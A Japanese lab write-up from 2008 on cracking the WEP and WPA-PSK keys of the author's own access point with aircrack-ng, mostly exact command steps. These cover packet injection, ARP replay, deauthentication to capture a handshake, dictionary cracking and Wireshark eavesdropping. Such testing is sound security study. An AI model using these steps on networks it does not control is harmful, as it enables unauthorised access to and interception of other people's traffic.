aircrack-ng 検証


それではキーを実際に解読してみましょう。

まずはWEPキーの解読から


注意事項
必ず自分の管理下にあるPC、アクセスポイントで実行すること。
WEPキーは12Wireshark防御方法Step2Aで設定したDistributionsです。
ESSIDは001601E9DECA
BSSIDは00:16:01:E9:DE:DB
送信元MACアドレスは00:A0:B0:60:32:DC
failed:Network is downと表示されたら以下のコマンドで再起動をかけてください。

   ifconfig ath0 down
   ifconfig ath0 up



Step1
下記の2つのファイルでWEPキーが設定されてないことを確認

   vi /etc/sysconfig/network-scripts/ifcfg-ath0    vi /etc/sysconfig/network-scripts/keys-ath0

もし設定してある場合は

   KEY=

と空欄にしてPCを再起動します。
wpa_supplicantを使用している場合はサービスを停止しておきます。

   service wpa_supplicant stop



Step2
モニタモードにし、airodump-ngを起動して情報収集

モニタモード

   ifconfig ath0 down    wlanconfig ath0 destroy    wlanconfig ath0 create wlandev wifi0 wlanmode monitor    ifconfig ath0 up

airodump-ngの起動

   airodump-ng ath0

この時点ではまだ情報収集するだけなのでオプションはいらない。必要な情報はBSSID、CH、ESSIDで収集し終わったらCtrl+Cで終了。
実験では以下の情報を収集した。
BSSID:00:16:01:E9:DE:CB
CH:11
ESSID:001601E9DECA
※ESSIDが<length:12>などのようになっていたら正規のユーザが接続してくるまで待つ必要がある。



Step3
今度はオプション付きでairodump-ngを起動する

   airodump-ng --channel 11 --write 2008 ath0

情報収集したCHはチャネルのことでこれを固定することでパケットの収集効率が上がる。 キャプチャしたファイルを2008というファイル名で保存する。この2008-01.capファイルを解析に使用する



Step4
ターミナル(端末)を別に立ち上げ、パケットインジェクションを実行

アクセスポイントに認証要求をする

   aireplay-ng -1 0 -e 001601E9DECA -a 00:16:01:E9:DE:CB -h 00:A0:B0:60:32:DC ath0

-e ESSID
-a BSSID
-h 送信元MACアドレス



パケットを分析する

   aireplay-ng -5 -b 00:16:01:E9:DE:CB -h 00:A0:B0:60:32:DC ath0

-b BSSID

use this packet?と聞いてくるのでyキーを押す
fragment~.xorファイルが作成されるのでこれを使用する




ARPリクエストを作成する

   packetforge-ng -0 -a 00:16:01:E9:DE:CB -h 00:A0:B0:60:32:DC -k 255.255.255.255 -l 192.168.1.100 -y fragment-0122-104836.xor -w arp-request

-a BSSID
-h 送信元MACアドレス
-k 宛先IPアドレス
-l 送信元IPアドレス
-y .xorファイル
-w 作成するファイル名

宛先IPアドレスはブロードキャスト、送信元IPアドレスは適当でOKです。



パケットを発生させる

   aireplay-ng -2 -r arp-request ath0

-r 作成したファイル名





Step5
airodump-ngの方に画面を切り替えパケットが集まるのを待つ



注目すべきは#Dataの所でこれが収集したパケット(IV)です。64ビットの場合約50万パケット、128ビットの場合約100万パケットで解析可能ですが設定 したキーや使用するアクセスポイント、無線LANアダプタによって変わります。また同じ条件でやったとしても必要パケット数が多い時もあれば少ない時もあります。パケット を送出しているのに#Dataの所が増えていかない場合は送信に失敗しています。集まる時間は使用環境によって異なりますが、実験では100万パケット集めるの におよそ30分かかりました。



Step6
パケットが集まったらairodump-ngを終了してaircrack-ngで解析を実行します。

   aircrack-ng 2008-01.cap



約100万パケット収集しキーの解析に成功しました。総所要時間は約35分といったところでしょうか。WEPキーは文字列で登録しても16進数に変換されて登録され ます。

以上でWEPキーの解析は終了です。解析したキーを使用してkeys-ath0ファイルに記述して通信を行うことも可能です。またwiresharkでデータの盗聴を行うこと もできます。

   wiresharkを起動し
   Edit→Preference→Protocols→IEEE802.11
   Enable decryptionにチェック
   Key#1にWEPキーを入力※16進数で入力します。




※libpcap、wiresharkのバージョンが古いと出来ません。
また.capファイルを読み込み、パケットを復元することもできます(ほとんどARPリクエストなので大した情報は得られませんが・・・)。
wiresharkはスペックの低いマシンだと動作が重くネットワークもダウンしてしまうことがあります。その場合はairodump-ngでキャプチャした.capファイルを読み込んだ方が軽いです 。
パケットを発生させるマシンを増やせば収集できる時間も短くなります。そのうち無線LANカードを2枚挿しにしてダブルでやってみようと思ってます。ただWEPキーの解析に40分もかかっているようではまだ遅いです。もっと速くするにはaircrack-ptwというツールを使用します。



その前に続いてWPA-PSKキーの解析を行います。

注意事項
必ず自分の管理下にあるPC、アクセスポイントで行うこと。
現在は辞書攻撃のみです。ブルートフォースアタックは組み合わせを展開して辞書ファイルを作り擬似的に行うことは可能です。
認証キーは12Wireshark防御方法Step2Bで使用したwellstoneです。



Step1〜3
WEPキーの解析と同じですが、正規のユーザが通信中でなければ出来ません。airodump-ngで保存するファイル名は適宜変更してください。実験ではWPA-PSKとして保存しています。



Step4
ハンドシェイクを手に入れるためパケットインジェクションを実行します

   aireplay-ng -0 1 -a 00:16:01:E9:DE:CB -c 正規のユーザのMACアドレス ath0

   ※正規のユーザのMACアドレス:実験では00:02:C7:34:81:72を使用



ハンドシェイクが手に入るとairodump-ngにも表示(画像右上)されます。
ハンドシェイクは正規のユーザが通信中でなければ手に入りません。




Step5
ハンドシェイクが手に入ったらairodump-ngを終了し、aircrack-ngを起動して解析。※辞書ファイルが必要です

辞書ファイルはwordlistsと検索すれば手に入ります。実験ではCongressという辞書ファイルを入手し、その中に入っているwellstoneという単語をWPA-PSKキー に設定しました。

   aircrack-ng -w Congress WPA-PSK-01.cap





以上でWPA-PSKキーの解析は終了です。これは暗号化に使用する一時的なキーの解読ではなく、認証に使用する事前共有キーを解読します。しかもオフラインで解読を試みることが出来ます。 つまり暗号化がTKIPでもAESでも関係ありません。時間も気にする必要はありません。キーがわかればWEPと同じように通信をすることも出来ますし、wiresharkでパケットの盗聴や復元もできます。

   wiresharkを起動し
   Edit→Preference→Protocols→IEEE802.11
   Enable decryptionにチェック

KEY#1のところにwpa-pwd:WPA-PSKキー:ESSIDと記述します。※文字列の場合
16進数の場合wpa-psk:16進数と記述します。



ちなみに複雑なパスフレーズについても検証してみました。16進数64文字で事前共有キーを設定し、同じ文字列を辞書ファイルに入力し試してみました。どうやら現在aircrack-ngの辞書攻撃には文字数制限があるようでそのためキーは見つかりませんと出ました。



画像でのパスフレーズはまだ続きがありますが26文字までしか表示されていません。
これはWPA2-PSKでも同じです。なぜならWPA-PSKとはWPAという方式で暗号化し、PSKという方式で認証を行うというものです。 このPSKの認証キーを得ることができれば解読が出来、アクセスポイントに接続することが出来ます。WPA2-PSKは暗号化を強化したものですが認証方式は変わっていません。 なので暗号化方式がなんであろうと突破できてしまいます。ただし、2008年3月現在LinuxではWPA2-PSKに対応しているツールが少ないのでWPA-PSKよりセキュリティ強度 は高いともいえなくはない。


TOPへ